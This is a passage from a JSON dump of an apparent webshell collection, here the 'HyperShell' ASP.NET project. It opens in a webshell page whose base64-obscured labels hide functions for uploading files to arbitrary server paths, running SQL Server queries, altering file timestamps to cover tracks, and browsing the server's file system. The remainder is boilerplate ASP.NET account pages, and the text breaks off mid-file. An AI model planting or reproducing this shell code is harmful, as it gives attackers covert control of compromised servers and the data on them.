class=\"h\"><%=x(\"VXBsb2FkIEJhc2U2NA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"QmFzZTY0IEZpbGU=\")%> :</t>\r\n<textarea name=\"baseFile\"></textarea>\r\n<input name=\"baseVir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"RmlsZSBQYXRoIGFuZCBOYW1l \")%> :</t>\r\n<input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"U3FsIFNlcnZlcg==\")%></td>\r\n<td class=\"b\">\r\n<input style=\"margin:0 0 3px 192px\" type=\"button\" value=\"<%=x(\"U3RhbmRhcmQgQ29ubmVjdGlvbiBTYW1wbGU=\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VXNlciBJZD11c2VyO1Bhc3N3b3JkPXBhc3M=\")%>    '\" />\r\n<input style=\"margin:0 0 3px 0\" type=\"button\" value=\"<%=x(\"VHJ1c3RlZCBDb25uZWN0aW4gU2FtcGxl\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VHJ1c3RlZF9Db25uZWN0aW9uPVRydWU=\")%>    '\" /><br />\r\n<t><%=x(\"Q29ubmVjdGlvbiBTdHJpbmc=\")%> :</t>\r\n<input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n<t><%=x(\"UXVlcnk=\")%> :</t>\r\n<textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n<input type=\"submit\" value=\"<%= x(\"UnVu\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q2hhbmdlIENyZWF0aW9uIFRpbWU=\")%></td>\r\n<td class=\"b\">\r\n<input name=\"hid\" type=\"hidden\" />\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"tfil\" class=\"mmm\" type=\"text\" value='<%= tfil %>' />\r\n<input type=\"submit\" value=\"<%= x(\"R2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n<t><%=x(\"RnJvbSBUaGlzIEZpbGU=\")%> :</t>\r\n<input name=\"ttar\" class=\"mmm\" type=\"text\" value='<%= ttar %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n<t><%=x(\"TmV3IFRpbWU=\")%> :</t>\r\n<input name=\"ttim\" class=\"mmm\" type=\"text\" value='<%= ttim %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<br />\r\n<pre id=\"log\" runat=\"server\"></pre>\r\n<script>var ll=document.getElementById('log');if(ll.innerHTML)ll.innerHTML=atob(log.innerHTML);</script>\r\n</div>\r\n<div id=\"tbDir\" class=\"tb\">\r\n    <table>\r\n    <tr>\r\n    <td class=\"h\">Explorer</td>\r\n    <td class=\"b\">\r\n    <t>Address :</t>\r\n    <input name=\"exadd\" class=\"mmm\" type=\"text\" value='<%= exadd %>' onkeypress=\"return checkEnter(event);\" />\r\n    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right:5px;\" />\r\n    <span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n    </td>\r\n    </tr>\r\n    </table>\r\n    <hr />\r\n    <div id=\"objLocation\">\r\n        <div class=\"objS\">Location :</div><div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div>\r\n    </div>\r\n    <div id=\"objFrame\">\r\n    </div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/About.aspx",
    "content": "﻿<%@ Page Title=\"About\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"About.aspx.cs\" Inherits=\"HyperShell.About\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2><%: Title %>.</h2>\r\n    <h3>Your application description page.</h3>\r\n    <p>Use this area to provide additional information.</p>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/About.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell\r\n{\r\n    public partial class About : Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/About.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell\r\n{\r\n\r\n\r\n    public partial class About\r\n    {\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/AddPhoneNumber.aspx",
    "content": "﻿<%@ Page Title=\"Phone Number\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"AddPhoneNumber.aspx.cs\" Inherits=\"HyperShell.Account.AddPhoneNumber\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2><%: Title %>.</h2>\r\n\r\n    <div class=\"form-horizontal\">\r\n        <h4>Add a phone number</h4>\r\n        <hr />\r\n        <asp:ValidationSummary runat=\"server\" CssClass=\"text-danger\" />\r\n        <p class=\"text-danger\">\r\n            <asp:Literal runat=\"server\" ID=\"ErrorMessage\" />\r\n        </p>\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"PhoneNumber\" CssClass=\"col-md-2 control-label\">Phone Number</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"PhoneNumber\" CssClass=\"form-control\" TextMode=\"Phone\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"PhoneNumber\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The PhoneNumber field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <div class=\"col-md-offset-2 col-md-10\">\r\n                <asp:Button runat=\"server\" OnClick=\"PhoneNumber_Click\"\r\n                    Text=\"Submit\" CssClass=\"btn btn-default\" />\r\n            </div>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/AddPhoneNumber.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing System.Threading.Tasks;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class AddPhoneNumber : System.Web.UI.Page\r\n    {\r\n        protected void PhoneNumber_Click(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var code = manager.GenerateChangePhoneNumberToken(User.Identity.GetUserId(), PhoneNumber.Text);\r\n            if (manager.SmsService != null)\r\n            {\r\n                var message = new IdentityMessage\r\n                {\r\n                    Destination = PhoneNumber.Text,\r\n                    Body = \"Your security code is \" + code\r\n                };\r\n\r\n                manager.SmsService.Send(message);\r\n            }\r\n\r\n            Response.Redirect(\"/Account/VerifyPhoneNumber?PhoneNumber=\" + HttpUtility.UrlEncode(PhoneNumber.Text));\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/AddPhoneNumber.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class AddPhoneNumber {\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// PhoneNumber control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox PhoneNumber;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Confirm.aspx",
    "content": "﻿<%@ Page Title=\"Account Confirmation\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Confirm.aspx.cs\" Inherits=\"HyperShell.Account.Confirm\" Async=\"true\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n\r\n    <div>\r\n        <asp:PlaceHolder runat=\"server\" ID=\"successPanel\" ViewStateMode=\"Disabled\" Visible=\"true\">\r\n            <p>\r\n                Thank you for confirming your account. Click <asp:HyperLink ID=\"login\" runat=\"server\" NavigateUrl=\"~/Account/Login\">here</asp:HyperLink>  to login             \r\n            </p>\r\n        </asp:PlaceHolder>\r\n        <asp:PlaceHolder runat=\"server\" ID=\"errorPanel\" ViewStateMode=\"Disabled\" Visible=\"false\">\r\n            <p class=\"text-danger\">\r\n                An error has occurred.\r\n            </p>\r\n        </asp:PlaceHolder>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Confirm.aspx.cs",
    "content": "﻿using System;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class Confirm : Page\r\n    {\r\n        protected string StatusMessage\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            string code = IdentityHelper.GetCodeFromRequest(Request);\r\n            string userId = IdentityHelper.GetUserIdFromRequest(Request);\r\n            if (code != null && userId != null)\r\n            {\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                var result = manager.ConfirmEmail(userId, code);\r\n                if (result.Succeeded)\r\n                {\r\n                    successPanel.Visible = true;\r\n                    return;\r\n                }\r\n            }\r\n            successPanel.Visible = false;\r\n            errorPanel.Visible = true;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Confirm.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class Confirm {\r\n        \r\n        /// <summary>\r\n        /// successPanel control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder successPanel;\r\n        \r\n        /// <summary>\r\n        /// login control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HyperLink login;\r\n        \r\n        /// <summary>\r\n        /// errorPanel control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder errorPanel;\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Forgot.aspx",
    "content": "﻿<%@ Page Title=\"Forgot password\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Forgot.aspx.cs\" Inherits=\"HyperShell.Account.ForgotPassword\" Async=\"true\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n\r\n    <div class=\"row\">\r\n        <div class=\"col-md-8\">\r\n            <asp:PlaceHolder id=\"loginForm\" runat=\"server\">\r\n                <div class=\"form-horizontal\">\r\n                    <h4>Forgot your password?</h4>\r\n                    <hr />\r\n                    <asp:PlaceHolder runat=\"server\" ID=\"ErrorMessage\" Visible=\"false\">\r\n                        <p class=\"text-danger\">\r\n                            <asp:Literal runat=\"server\" ID=\"FailureText\" />\r\n                        </p>\r\n                    </asp:PlaceHolder>\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" AssociatedControlID=\"Email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"Email\" CssClass=\"form-control\" TextMode=\"Email\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Email\"\r\n                                CssClass=\"text-danger\" ErrorMessage=\"The email field is required.\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <div class=\"col-md-offset-2 col-md-10\">\r\n                            <asp:Button runat=\"server\" OnClick=\"Forgot\" Text=\"Email Link\" CssClass=\"btn btn-default\" />\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </asp:PlaceHolder>\r\n            <asp:PlaceHolder runat=\"server\" ID=\"DisplayEmail\" Visible=\"false\">\r\n                <p class=\"text-info\">\r\n                    Please check your email to reset your password.\r\n                </p>\r\n            </asp:PlaceHolder>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Forgot.aspx.cs",
    "content": "﻿using System;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class ForgotPassword : Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n        }\r\n\r\n        protected void Forgot(object sender, EventArgs e)\r\n        {\r\n            if (IsValid)\r\n            {\r\n                // Validate the user's email address\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                ApplicationUser user = manager.FindByName(Email.Text);\r\n                if (user == null || !manager.IsEmailConfirmed(user.Id))\r\n                {\r\n                    FailureText.Text = \"The user either does not exist or is not confirmed.\";\r\n                    ErrorMessage.Visible = true;\r\n                    return;\r\n                }\r\n                // For more information on how to enable account confirmation and password reset please visit http://go.microsoft.com/fwlink/?LinkID=320771\r\n                // Send email with the code and the redirect to reset password page\r\n                //string code = manager.GeneratePasswordResetToken(user.Id);\r\n                //string callbackUrl = IdentityHelper.GetResetPasswordRedirectUrl(code, Request);\r\n                //manager.SendEmail(user.Id, \"Reset Password\", \"Please reset your password by clicking <a href=\\\"\" + callbackUrl + \"\\\">here</a>.\");\r\n                loginForm.Visible = false;\r\n                DisplayEmail.Visible = true;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Forgot.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class ForgotPassword {\r\n        \r\n        /// <summary>\r\n        /// loginForm control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder loginForm;\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// FailureText control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal FailureText;\r\n        \r\n        /// <summary>\r\n        /// Email control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Email;\r\n        \r\n        /// <summary>\r\n        /// DisplayEmail control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder DisplayEmail;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Lockout.aspx",
    "content": "﻿<%@ Page Title=\"\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Lockout.aspx.cs\" Inherits=\"HyperShell.Account.Lockout\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <hgroup>\r\n        <h1>Locked out.</h1>\r\n        <h2 class=\"text-danger\">This account has been locked out, please try again later.</h2>\r\n    </hgroup>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Lockout.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class Lockout : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Lockout.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account\r\n{\r\n\r\n\r\n    public partial class Lockout\r\n    {\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Login.aspx",
    "content": "﻿<%@ Page Title=\"Log in\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Login.aspx.cs\" Inherits=\"HyperShell.Account.Login\" Async=\"true\" %>\r\n\r\n<%@ Register Src=\"~/Account/OpenAuthProviders.ascx\" TagPrefix=\"uc\" TagName=\"OpenAuthProviders\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n\r\n    <div class=\"row\">\r\n        <div class=\"col-md-8\">\r\n            <section id=\"loginForm\">\r\n                <div class=\"form-horizontal\">\r\n                    <h4>Use a local account to log in.</h4>\r\n                    <hr />\r\n                    <asp:PlaceHolder runat=\"server\" ID=\"ErrorMessage\" Visible=\"false\">\r\n                        <p class=\"text-danger\">\r\n                            <asp:Literal runat=\"server\" ID=\"FailureText\" />\r\n                        </p>\r\n                    </asp:PlaceHolder>\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" AssociatedControlID=\"Email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"Email\" CssClass=\"form-control\" TextMode=\"Email\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Email\"\r\n                                CssClass=\"text-danger\" ErrorMessage=\"The email field is required.\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" AssociatedControlID=\"Password\" CssClass=\"col-md-2 control-label\">Password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"Password\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Password\" CssClass=\"text-danger\" ErrorMessage=\"The password field is required.\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <div class=\"col-md-offset-2 col-md-10\">\r\n                            <div class=\"checkbox\">\r\n                                <asp:CheckBox runat=\"server\" ID=\"RememberMe\" />\r\n                                <asp:Label runat=\"server\" AssociatedControlID=\"RememberMe\">Remember me?</asp:Label>\r\n                            </div>\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <div class=\"col-md-offset-2 col-md-10\">\r\n                            <asp:Button runat=\"server\" OnClick=\"LogIn\" Text=\"Log in\" CssClass=\"btn btn-default\" />\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n                <p>\r\n                    <asp:HyperLink runat=\"server\" ID=\"RegisterHyperLink\" ViewStateMode=\"Disabled\">Register as a new user</asp:HyperLink>\r\n                </p>\r\n                <p>\r\n                    <%-- Enable this once you have account confirmation enabled for password reset functionality\r\n                    <asp:HyperLink runat=\"server\" ID=\"ForgotPasswordHyperLink\" ViewStateMode=\"Disabled\">Forgot your password?</asp:HyperLink>\r\n                    --%>\r\n                </p>\r\n            </section>\r\n        </div>\r\n\r\n        <div class=\"col-md-4\">\r\n            <section id=\"socialLoginForm\">\r\n                <uc:OpenAuthProviders runat=\"server\" ID=\"OpenAuthLogin\" />\r\n            </section>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Login.aspx.cs",
    "content": "﻿using System;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class Login : Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            RegisterHyperLink.NavigateUrl = \"Register\";\r\n            // Enable this once you have account confirmation enabled for password reset functionality\r\n            //ForgotPasswordHyperLink.NavigateUrl = \"Forgot\";\r\n            OpenAuthLogin.ReturnUrl = Request.QueryString[\"ReturnUrl\"];\r\n            var returnUrl = HttpUtility.UrlEncode(Request.QueryString[\"ReturnUrl\"]);\r\n            if (!String.IsNullOrEmpty(returnUrl))\r\n            {\r\n                RegisterHyperLink.NavigateUrl += \"?ReturnUrl=\" + returnUrl;\r\n            }\r\n        }\r\n\r\n        protected void LogIn(object sender, EventArgs e)\r\n        {\r\n            if (IsValid)\r\n            {\r\n                // Validate the user password\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                var signinManager = Context.GetOwinContext().GetUserManager<ApplicationSignInManager>();\r\n\r\n                // This doen't count login failures towards account lockout\r\n                // To enable password failures to trigger lockout, change to shouldLockout: true\r\n                var result = signinManager.PasswordSignIn(Email.Text, Password.Text, RememberMe.Checked, shouldLockout: false);\r\n\r\n                switch (result)\r\n                {\r\n                    case SignInStatus.Success:\r\n                        IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n                        break;\r\n                    case SignInStatus.LockedOut:\r\n                        Response.Redirect(\"/Account/Lockout\");\r\n                        break;\r\n                    case SignInStatus.RequiresVerification:\r\n                        Response.Redirect(String.Format(\"/Account/TwoFactorAuthenticationSignIn?ReturnUrl={0}&RememberMe={1}\", \r\n                                                        Request.QueryString[\"ReturnUrl\"],\r\n                                                        RememberMe.Checked),\r\n                                          true);\r\n                        break;\r\n                    case SignInStatus.Failure:\r\n                    default:\r\n                        FailureText.Text = \"Invalid login attempt\";\r\n                        ErrorMessage.Visible = true;\r\n                        break;\r\n                }\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Login.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class Login {\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// FailureText control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal FailureText;\r\n        \r\n        /// <summary>\r\n        /// Email control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Email;\r\n        \r\n        /// <summary>\r\n        /// Password control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Password;\r\n        \r\n        /// <summary>\r\n        /// RememberMe control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.CheckBox RememberMe;\r\n        \r\n        /// <summary>\r\n        /// RegisterHyperLink control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HyperLink RegisterHyperLink;\r\n        \r\n        /// <summary>\r\n        /// OpenAuthLogin control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::HyperShell.Account.OpenAuthProviders OpenAuthLogin;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Manage.aspx",
    "content": "﻿<%@ Page Title=\"Manage Account\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Manage.aspx.cs\" Inherits=\"HyperShell.Account.Manage\" %>\r\n\r\n<%@ Register Src=\"~/Account/OpenAuthProviders.ascx\" TagPrefix=\"uc\" TagName=\"OpenAuthProviders\" %>\r\n\r\n<asp:Content ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2><%: Title %>.</h2>\r\n\r\n    <div>\r\n        <asp:PlaceHolder runat=\"server\" ID=\"successMessage\" Visible=\"false\" ViewStateMode=\"Disabled\">\r\n            <p class=\"text-success\"><%: SuccessMessage %></p>\r\n        </asp:PlaceHolder>\r\n    </div>\r\n\r\n    <div class=\"row\">\r\n        <div class=\"col-md-12\">\r\n            <div class=\"form-horizontal\">\r\n                <h4>Change your account settings</h4>\r\n                <hr />\r\n                <dl class=\"dl-horizontal\">\r\n                    <dt>Password:</dt>\r\n                    <dd>\r\n                        <asp:HyperLink NavigateUrl=\"/Account/ManagePassword\" Text=\"[Change]\" Visible=\"false\" ID=\"ChangePassword\" runat=\"server\" />\r\n                        <asp:HyperLink NavigateUrl=\"/Account/ManagePassword\" Text=\"[Create]\" Visible=\"false\" ID=\"CreatePassword\" runat=\"server\" />\r\n                    </dd>\r\n                    <dt>External Logins:</dt>\r\n                    <dd><%: LoginsCount %>\r\n                        <asp:HyperLink 